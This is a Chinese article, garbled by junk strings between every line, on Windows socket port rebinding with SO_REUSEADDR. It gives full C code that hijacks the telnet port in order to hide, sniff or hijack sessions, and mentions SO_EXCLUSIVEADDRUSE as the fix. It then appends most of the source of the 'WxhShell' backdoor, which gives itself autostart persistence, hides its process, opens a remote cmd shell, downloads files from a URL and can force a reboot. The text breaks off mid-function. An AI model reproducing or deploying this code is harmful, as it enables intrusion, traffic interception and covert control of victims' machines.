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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sq[LwJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :4/37R(~l8 }N0v_Nas;v saddr.sin_family = AF_INET; J3c8WS{: Zce/& saddr.sin_addr.s_addr = htonl(INADDR_ANY); =_Ip0FfK! ayrCLv bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C^*3nd3 k%%0"+y#a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2JL\1=k; .dKFQH iYJ 这意味着什么?意味着可以进行如下的攻击: tFu"h1 nWFU8u% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IM=3n%6 Q|(G - 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m#`1.5% x@? YS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =H;F{J" _p;=]#+c& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 jW;g{5X <3!Q Xc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tO+Lf2Ni+ ].HHTCD`c 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m aOt/- si#1sdR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 raJv$P >b2wFo/em #include 7~!F3WT{ #include >,a$)z #include <g1=jG:7k #include OQiyAyX DWORD WINAPI ClientThread(LPVOID lpParam); ;|pw;- int main() U5ME`lN*` { 85qD~o?O WORD wVersionRequested; HwZ"l31 DWORD ret; 1C+d&U WSADATA wsaData; Z7dyPR BOOL val; U# U*^# SOCKADDR_IN saddr; `l0"4[? SOCKADDR_IN scaddr; xTf|u int err; 1<;G
oC" SOCKET s; JS^!XB'! SOCKET sc; `rb}"V+ int caddsize; fVz0H1\J& HANDLE mt; 7UsU03 DWORD tid; )8%m|v#W wVersionRequested = MAKEWORD( 2, 2 ); v,d'SR. err = WSAStartup( wVersionRequested, &wsaData ); d-`z1' if ( err != 0 ) {
::sk) printf("error!WSAStartup failed!\n"); <lTLz$QE
return -1; N2.Ym;^ } xjh(;S' saddr.sin_family = AF_INET; WB 5M![ ?,w9e| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }~Ir& dfT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y(F>;/AA saddr.sin_port = htons(23); K)W:@,* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZKt`>KZ { Z $Fm73 printf("error!socket failed!\n"); Y3O/`-9i return -1; 3|PV. } _*++xF1 val = TRUE; cYz|Ux //SO_REUSEADDR选项就是可以实现端口重绑定的 cs?IzIQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ET;-'vd { #vzt6x@* printf("error!setsockopt failed!\n"); 6e%ZNw{#= return -1; eI1C0Uz1
} =F09@C, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2]cU:j6G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J+m1d\lBu //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b}!T!IP} PO*0jO;% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \. YJs"<3 { oAgU rl;R ret=GetLastError(); 5DL(#9F8b9 printf("error!bind failed!\n"); .* &F return -1; rmeGk&*R8 } v9"03=h listen(s,2); }aL&3[>> while(1) (BGflb { upiYo(sN. caddsize = sizeof(scaddr); 3;F up4!4} //接受连接请求 ` >[Offhd sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cUr5x8<W). if(sc!=INVALID_SOCKET) _ ( $U\FW { <xUX&J=; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NIG*
}[}P if(mt==NULL) g`dAj4B { W1ql[DqE{ printf("Thread Creat Failed!\n"); 10CRgrZ break; H18pVh } t**MthnW } w%$J<Z^-? CloseHandle(mt); %ZX3:2 } GHpP
*x closesocket(s); 6|QIzs<Z-X WSACleanup(); AbIYdFX B return 0; Cy6%f? j } %7
$X
* DWORD WINAPI ClientThread(LPVOID lpParam) j%i6H1#.Z { NUh+ &M SOCKET ss = (SOCKET)lpParam; ?hKpJA'% SOCKET sc; kOQ!]-; unsigned char buf[4096]; |Q$Dj!!1P SOCKADDR_IN saddr; U% OlYP$g long num; 7n7UL0Oc1 DWORD val; H^+Znmo DWORD ret; e17]{6y //如果是隐藏端口应用的话,可以在此处加一些判断 NmTo/5s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 A'n{K# saddr.sin_family = AF_INET; 7MIrrhk saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +iw4>0pi saddr.sin_port = htons(23); o\X|\nUk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d$y?py { ;)z+dd#3 printf("error!socket failed!\n"); *2
~"%"C return -1; *fI\|%K } n(
zzH val = 100; iUlSRfrC$# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q^6l`JJ { 8|tnhA]~ ret = GetLastError(); Esf\Bo" return -1; T=':$(t } (#nB90E{* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `!<#'PR { nZ[`Yrq)0 ret = GetLastError(); VYkUUp return -1; @_
Tq>tOr& } 6Oy6r
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ohi0_mBz { d?aZk-|c printf("error!socket connect failed!\n"); ,3W,M=j) closesocket(sc); Y?:"nhN closesocket(ss); |CPyCM$ return -1; :A5h<=[ } ppnl bL^* while(1) lS?#(}a1) { Li9>RY+3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;<#=|eD2 //如果是嗅探内容的话,可以再此处进行内容分析和记录 @ssT$#)$! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]>[0DX]j num = recv(ss,buf,4096,0); j+Q+.39s-~ if(num>0) 4ULdf|o P" send(sc,buf,num,0); &3:<WU:U else if(num==0) =oTj3+7 break; ]3uj~la num = recv(sc,buf,4096,0); C)ic;!$Qhb if(num>0) !*o{xq send(ss,buf,num,0); {}P~nP else if(num==0) Jt3*(+J>/ break; 8d(l)[GZt } &.JJhX closesocket(ss); vJe c+a closesocket(sc); Z61L;E return 0 ; Px&)kEQ } `Dp4Z>|
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Vx`oj R#!Urhh ========================================================== 7,Y+FZ `o21f{1]X& 下边附上一个代码,,WXhSHELL nGxG! T-Yb|@4 ========================================================== ]j]<CqG y 7z)lBy\ #include "stdafx.h" %`lLX/4~ 2yVQqwQm #include <stdio.h> ynJ)6n7a #include <string.h> 9[h8Dy #include <windows.h> 6u xF< #include <winsock2.h> Zi<(>@z2 #include <winsvc.h> DuIgFp #include <urlmon.h> U5[r&Y
D py6O\` \ #pragma comment (lib, "Ws2_32.lib") dv?t;D@p! #pragma comment (lib, "urlmon.lib") }>_ AJ
z 1 #define MAX_USER 100 // 最大客户端连接数 i:H]Sb)<b #define BUF_SOCK 200 // sock buffer
M,we,!B0 #define KEY_BUFF 255 // 输入 buffer !\\OMAf7 ~Xc1y!"9* #define REBOOT 0 // 重启 yUs/lI, Q #define SHUTDOWN 1 // 关机 : :928y (&M,rW~Qxs #define DEF_PORT 5000 // 监听端口 GN+!o($ d w'P =8d #define REG_LEN 16 // 注册表键长度 \_7'f #define SVC_LEN 80 // NT服务名长度 kArF Gb2c O;.DQ // 从dll定义API rdH^"( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?(M]'ia{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6\? 2=dNX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |(uo@-U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V-18~+F~"a Gn;^]8d // wxhshell配置信息 <g64N struct WSCFG { s\(@f4p int ws_port; // 监听端口 C|]Zpn#{K char ws_passstr[REG_LEN]; // 口令 u $qazj int ws_autoins; // 安装标记, 1=yes 0=no ^G
"Qp8 " char ws_regname[REG_LEN]; // 注册表键名 4@0Z<8Mo char ws_svcname[REG_LEN]; // 服务名 cL4Xh|NBp char ws_svcdisp[SVC_LEN]; // 服务显示名 yO@@-)$[y char ws_svcdesc[SVC_LEN]; // 服务描述信息 &D&U!3~( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rp>%umDyL int ws_downexe; // 下载执行标记, 1=yes 0=no $5@[l5cJU; char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]ClqX;'weJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CHDt^(oa!B xu>grj }; be [E^% i]& >+R<6 // default Wxhshell configuration
I p|[ struct WSCFG wscfg={DEF_PORT, <2wC)l3j* "xuhuanlingzhe", f DPLB[ 1, A(z
m "Wxhshell", QiaBZAol "Wxhshell", sHQO*[[ "WxhShell Service", 9TEAM<b; "Wrsky Windows CmdShell Service", J\Tu=f) "Please Input Your Password: ", >^g\s]c[ 1, .-1'#Z1T " http://www.wrsky.com/wxhshell.exe", 4}0Ry\
6 "Wxhshell.exe" /1eeNbd }; H-eHX3c7 NleMZ // 消息定义模块 obGvd6\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $&s V.fGu char *msg_ws_prompt="\n\r? for help\n\r#>"; {&J
OO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ITD&wg char *msg_ws_ext="\n\rExit."; *P?Rucg char *msg_ws_end="\n\rQuit."; c`oW-K{ char *msg_ws_boot="\n\rReboot..."; vZPBjloT!. char *msg_ws_poff="\n\rShutdown..."; WsT char *msg_ws_down="\n\rSave to "; Dy{lgT 0k :W$-b char *msg_ws_err="\n\rErr!"; f,Am;:\ | char *msg_ws_ok="\n\rOK!"; s<5P sR ViU5l*n; char ExeFile[MAX_PATH]; p9&gKIO_m int nUser = 0; [@@EE>
y HANDLE handles[MAX_USER]; HIda%D int OsIsNt; ?>My&yB AmrVxn4 SERVICE_STATUS serviceStatus; H% FP!03 SERVICE_STATUS_HANDLE hServiceStatusHandle; {D8yqO A} Ged} qXn // 函数声明 "oh;?gQ. int Install(void);
)!FheoR int Uninstall(void); V14+?L int DownloadFile(char *sURL, SOCKET wsh); GQ sE5Vb int Boot(int flag); 2_TFc2d void HideProc(void); k&npC8oA int GetOsVer(void); 3 ;AJp_; int Wxhshell(SOCKET wsl); KfQ?b_H. void TalkWithClient(void *cs); rx@2Dmt6
int CmdShell(SOCKET sock); 4jzjrG int StartFromService(void); 77'@U( int StartWxhshell(LPSTR lpCmdLine); BW ux! w17CZa
6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nnfq!%
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N(P2Lo{JF GE=PaYz // 数据结构和表定义 >[Tt'.S!? SERVICE_TABLE_ENTRY DispatchTable[] = u,]qrlx{ { :Xu9`5 {wscfg.ws_svcname, NTServiceMain}, csV3mzP {NULL, NULL} %zO>]f& }; {:=]J4] H;#C NB<e // 自我安装 6_K7!?YG7 int Install(void) H%0WD_ { yi2F#o 'K char svExeFile[MAX_PATH]; N|/gwcKe HKEY key; E@-5L9eJ\ strcpy(svExeFile,ExeFile); *77Y$X##k q9c-UQB(! // 如果是win9x系统,修改注册表设为自启动 Lz!H@)-mr if(!OsIsNt) { h+Y>\Cxg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2SlI5+u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`,dEGfh^ RegCloseKey(key); z
G`|) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h;R>|2A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G[n;%c~`+ RegCloseKey(key); )_}xK={ return 0; f/"IC;<~t> } FytGg[#] } 2 ]n4)vv, } +`!>lo{X else { %AA-G 5Ha(i [d // 如果是NT以上系统,安装为系统服务 c= aZ[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E&)o.l<h| if (schSCManager!=0) m ;wj|@cF { V{X/y N.u SC_HANDLE schService = CreateService =Z..&H5i ( H|/"'t
OZ schSCManager, VO /b&% wscfg.ws_svcname, g+Y &rz wscfg.ws_svcdisp, =&~ K;=: SERVICE_ALL_ACCESS, n*caP9B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V(Cxd.u SERVICE_AUTO_START, 2nCHL'8N SERVICE_ERROR_NORMAL, w|4CBll svExeFile, 4}Lui9 NULL, yoz-BS NULL, xmtD0U1 NULL, L]l?_#*x NULL, s.a @uR^ NULL s+ ^1\ ); 4\j1+&W
if (schService!=0) 1B$8<NCQ=? { mRN[lj CloseServiceHandle(schService); # wyjb:Ql CloseServiceHandle(schSCManager); [}4\CWM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l-5O5|C strcat(svExeFile,wscfg.ws_svcname); rl-#Ez if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cfy9wD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]hRs -x RegCloseKey(key); L@J$kqWY return 0; _qH]OSo } @c}Gw;e } }N:QB}7'_ CloseServiceHandle(schSCManager); <SdOb#2 } #c9MVQ_ } b#n 65tsJ"a< return 1; >fD%lq; } Ex6Kxd}8 %VE FruM // 自我卸载 <3Rq!w/ int Uninstall(void) q(BRJ( { ]deO\mB HKEY key; OaY]}4tI$ 3TN'1D ei if(!OsIsNt) { Jg$ NYs.xZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q+'fTmT[, RegDeleteValue(key,wscfg.ws_regname); nYO$ |/e RegCloseKey(key); -6^Ee?" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y^ D3}ds RegDeleteValue(key,wscfg.ws_regname); Z=l2Po n RegCloseKey(key); ^ '_Fd return 0; a(uQGyr[k1 } ?OGs+G } aHPx'R } Y5*A,piq else { $4kbOqn4 dvglh?7d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !:~C/B{ if (schSCManager!=0) '1zC|:, { }:*?w>= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SN`L@/I if (schService!=0) nO;ox*Bk+8 { wkp$/IZKMj if(DeleteService(schService)!=0) { ES#q/yab5 CloseServiceHandle(schService); r MJ4w['J= CloseServiceHandle(schSCManager); 24fN3 return 0; ~se
;L } mA#^Pv* CloseServiceHandle(schService); Djf~8q V! } "V,dH%&j CloseServiceHandle(schSCManager); @JOsG-VW~ } )}k"7" } @[1,i~H @?</8;%3W return 1; 2]r5e; } TLg 9`UA GT3}'`f B // 从指定url下载文件 m-qOyt int DownloadFile(char *sURL, SOCKET wsh) CljEC1S# { ^plP1c: HRESULT hr; v4\
m9Pu4 char seps[]= "/"; VotI5O $ char *token; 5UQ[vHMqI char *file; S Z &[o&H char myURL[MAX_PATH]; Q?'Ax"$D char myFILE[MAX_PATH]; k;.<DN UYpln[S strcpy(myURL,sURL); VD{_6 token=strtok(myURL,seps); SQk5SP while(token!=NULL) z] |Y { HBw0N? file=token; }~#qDrK token=strtok(NULL,seps); s3~6[T?8 } V_9\Ax'X @VsK7Eo GetCurrentDirectory(MAX_PATH,myFILE); fi6_yFl strcat(myFILE, "\\"); z7a@'+' strcat(myFILE, file); l%`~aVGJ send(wsh,myFILE,strlen(myFILE),0); |~=4ZrcCP send(wsh,"...",3,0); UQtG<W]< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d"+ _`d=` if(hr==S_OK) :m(" oC@} return 0; !
n?j)p. else prxmDI return 1; zf^@f%R 6|1#Prj } ~SEIIq ~$bQ;`,L // 系统电源模块 S7CD#Y[s int Boot(int flag) aIN?|Ch { /ZSdY_%s HANDLE hToken; uJ,I6P~9 TOKEN_PRIVILEGES tkp; WW~QK2o-@ b~K-mjJI if(OsIsNt) { u_$Spbc]/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >k
u7{1) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IZ]L.0, tkp.PrivilegeCount = 1; $U%N$_k? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BFn}~\wzK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?=?9a if(flag==REBOOT) { yF^)H{yx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) opCQ=G1 return 0; AOCiIPw
} dr4 m}v. else { E+eC #!&w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bvo
}b-]E return 0; cp+eh } M]e _@:! } l,Ixz1S3e else { p*=9Ea: if(flag==REBOOT) { a#,lf9M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e#4 iue7U return 0; !|#1z}( } H, O_l% else { kC+dQ&@g{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v=+> ids return 0; *\[GfTL } OH~I+=}. } m*TJ@gI*t U,$^|Iz return 1; =v=H{*dWA } [0n&?<< fOO[`"'Pq // win9x进程隐藏模块 \"A~ks~ void HideProc(void) 'gz@UE1 { @nF#\ _"[O=h: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fkr;
a`<W if ( hKernel != NULL ) 2 lBu"R 6} { rjT!S1Hs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4_?*@L1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j'FBt8P' FreeLibrary(hKernel); TM$`J } 6.GIUM%D 5,WDmhJ return; 0CUUgwA/ } cX@72 ZD]5"oHY // 获取操作系统版本 )Y,>cg:z~ int GetOsVer(void) ^2um.`8 { `LCxxpHi| OSVERSIONINFO winfo; _6Fj&mw(u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }U7><I GetVersionEx(&winfo); 8I=migaxP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |;P9S return 1; v\ Xk6k else <lVW;l7 return 0; i6h , Aw3 } uCpk1d 'B4j=K* // 客户端句柄模块
fj]) int Wxhshell(SOCKET wsl)
&+Pcu5 { ]w|,n2DG SOCKET wsh; u-E*_%y struct sockaddr_in client; KcX] g*wy DWORD myID; @~<M_63 cLe659 & while(nUser<MAX_USER) kVe_2oQ_> { uia-w^F e int nSize=sizeof(client); &/A?*2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QK%6Ncv if(wsh==INVALID_SOCKET) return 1; <CUe"WbE) #x|h@(y| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NEh5
if(handles[nUser]==0) u4[3JI> closesocket(wsh); i<nUp1r( else &U8W(NxN nUser++; W.AN0N } g&"__~dS-F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pV^hZ. :K_JY return 0; /xRPQ| } `P< m`* Yj^n4G(h // 关闭 socket ^g2p!7 void CloseIt(SOCKET wsh) Q2[D|{Z { !&D&Gs closesocket(wsh); wA<#E6^vG nUser--; niV= Ijt{5 ExitThread(0); YS5 Pt)? } 29E9ZjSK NPM}w! // 客户端请求句柄 +LM/< l void TalkWithClient(void *cs) k%Q>lf<e { !fcr3x|Y~M 1[vmK,N=E SOCKET wsh=(SOCKET)cs; %vO b"K$X char pwd[SVC_LEN]; w;(`!^xv char cmd[KEY_BUFF]; T7=~l)I char chr[1]; agFWye int i,j; D'Gmua]I L.z`>1 while (nUser < MAX_USER) { NK+iLXC j6KGri if(wscfg.ws_passstr) {
$z~sN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|1GlUA{t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Svo gvn //ZeroMemory(pwd,KEY_BUFF); u;Q'xuo3 i=0; RvF6bIqo while(i<SVC_LEN) { T.zUerbO %Ln7{w // 设置超时 Y|=/*?o} fd_set FdRead; tF<|Eja* struct timeval TimeOut; q|.
X[~e| FD_ZERO(&FdRead); e8@@Pi<sB FD_SET(wsh,&FdRead); h@"dpmpe TimeOut.tv_sec=8; 6*/o TimeOut.tv_usec=0; H`$s63 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ii,Lj1Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z`5v6"Na L+PrV y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1wl8
pwd =chr[0]; yU~OfwQ if(chr[0]==0xd || chr[0]==0xa) { 3cNF^?\= pwd=0; }Zwse%; break; o5\nqw^ } $gN1&K i++; >g@;`l.Z# } mT8($KQ ~/6m|k // 如果是非法用户,关闭 socket Yq.Cz:>b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sW B;?7P
} )}
y1 eXI ^9uH send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2c.~cNx`q[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HPGi5rU E3\O?+h# while(1) { )x-iru
A: BOLG#}sm ZeroMemory(cmd,KEY_BUFF); MmBM\Dnv 2 fX-J // 自动支持客户端 telnet标准 U<**Est j=0; `<h}Ygo>k/ while(j<KEY_BUFF) { \5$N>
2kO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _W4i?Bde cmd[j]=chr[0]; {4g1Wr5= if(chr[0]==0xa || chr[0]==0xd) { n_%JXm#\ cmd[j]=0; -<jb>8 break; iO;q] } DT_HG| j++; (yduU } uuzDu]Gwu \Clz#k8l1 // 下载文件 Y%b
5{1 if(strstr(cmd,"http://")) { 8W 9%NW3& send(wsh,msg_ws_down,strlen(msg_ws_down),0); a3L]'E'*# if(DownloadFile(cmd,wsh)) O&=?,zLO[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); sAIL+O else &>Q_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nKJJ7'$'3 } N0GID-W!/~ else { 2P8JLT*Tj Dcq\1V.e`W switch(cmd[0]) { u2^oXl `wI<LTzXS // 帮助 +d6/*}ht case '?': { !ec\8Tj send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jYet!l break; &%`IPhbT } 6>)]7(B<d // 安装 5@"&%8oeq0 case 'i': { b+\jFGC%6= if(Install()) 0s:MEX6w| send(wsh,msg_ws_err,strlen(msg_ws_err),0); dZm>LVjG else [6Uc?Bi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FS r`Y break; ^9o;=!D!9 } I.j`h2 // 卸载 pr.Vfb case 'r': { m,v"N%k, if(Uninstall()) ^u#!Yo.!( send(wsh,msg_ws_err,strlen(msg_ws_err),0); TSmuNCR else eP-q[U?$n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -c!{';Zn break; 8w~I(2S:# } ^:K"Tv.= // 显示 wxhshell 所在路径 !'Xk=+ case 'p': { zr?%k]A%UO char svExeFile[MAX_PATH]; %-|Po:6 strcpy(svExeFile,"\n\r"); 2"C'Au strcat(svExeFile,ExeFile); LWc}j`Wd send(wsh,svExeFile,strlen(svExeFile),0); _r5Q%8J break; 59O;`y0 } WEUr;f // 重启 d:O>--$_tw case 'b': { ^ q @.yL send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZVJbpn<lo) if(Boot(REBOOT)) zv!%u=49 send(wsh,msg_ws_err,strlen(msg_ws_err),0); :k075Zr/#D else { {Q?AIp6u| closesocket(wsh); ;VM/Cxgep ExitThread(0); +/7UM x1 } {%@zQ|OO0 break; }-k<>~FA } @0?Mwy! // 关机 |cJyP9}n case 'd': { [[QrGJr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _wKFT> if(Boot(SHUTDOWN)) pzezN send(wsh,msg_ws_err,strlen(msg_ws_err),0); g1L$+xD^ else {
+O}6 8N closesocket(wsh); w`,[w,t ExitThread(0); FZz\zp } fQlR;4QX] break; _L(6F
TJ } -*k%'Gr // 获取shell #Oz<<G< case 's': { g/W<;o<v(I CmdShell(wsh); cUaLv1:HI closesocket(wsh); O82T| 0uw ExitThread(0); eCMcr !. break; Gk*Mx6|N } vY<(3[pp // 退出 CTbdY,=B case 'x': { zF.rsNY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \szx.IZT CloseIt(wsh); U^?/nRZ break; MZZ4 } Z&@X4X"q // 离开 =-~82% case 'q': { MFaK=1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); NTuS(7m closesocket(wsh); BQmg$N,F WSACleanup(); zht^gOs exit(1); U2=5Nt5 break; 0K`3BuBs }
]nhLv!Co } W *0XV } `UMv#-Y8 .JZoZ.FAb // 提示信息 `{CaJ6. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %+ig7a: } BHOxwW{ } <w(UDZ ;#P@(ZVT return; "X g@X5BG } J2Ocf&y; RD_&m?d // shell模块句柄 R{\vOw:* int CmdShell(SOCKET sock) C;}~C:aJ { !`hjvJryw STARTUPINFO si; 6BRQX\ ZeroMemory(&si,sizeof(si)); 1bF aQ50t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]T}G - si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XL >Vwd PROCESS_INFORMATION ProcessInfo; r5Jy( ~ char cmdline[]="cmd"; bv5,Yk CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;hJTJMA6/6 return 0; )}hp[*C } 1Z6<W~,1OM "'p:M,: // 自身启动模式 nV,qC.z int StartFromService(void) =Bi>$Ly { ]8*g% typedef struct +'2Mj|d@p { YvHP]N{SA' DWORD ExitStatus; @zB {Ig DWORD PebBaseAddress; *4Y1((1k DWORD AffinityMask; Zk"'x,]# DWORD BasePriority; ~dC)EG ULONG UniqueProcessId; >B U0B ULONG InheritedFromUniqueProcessId; k q8:h } PROCESS_BASIC_INFORMATION; $IA(QC_]AO Oj\lg2Ck
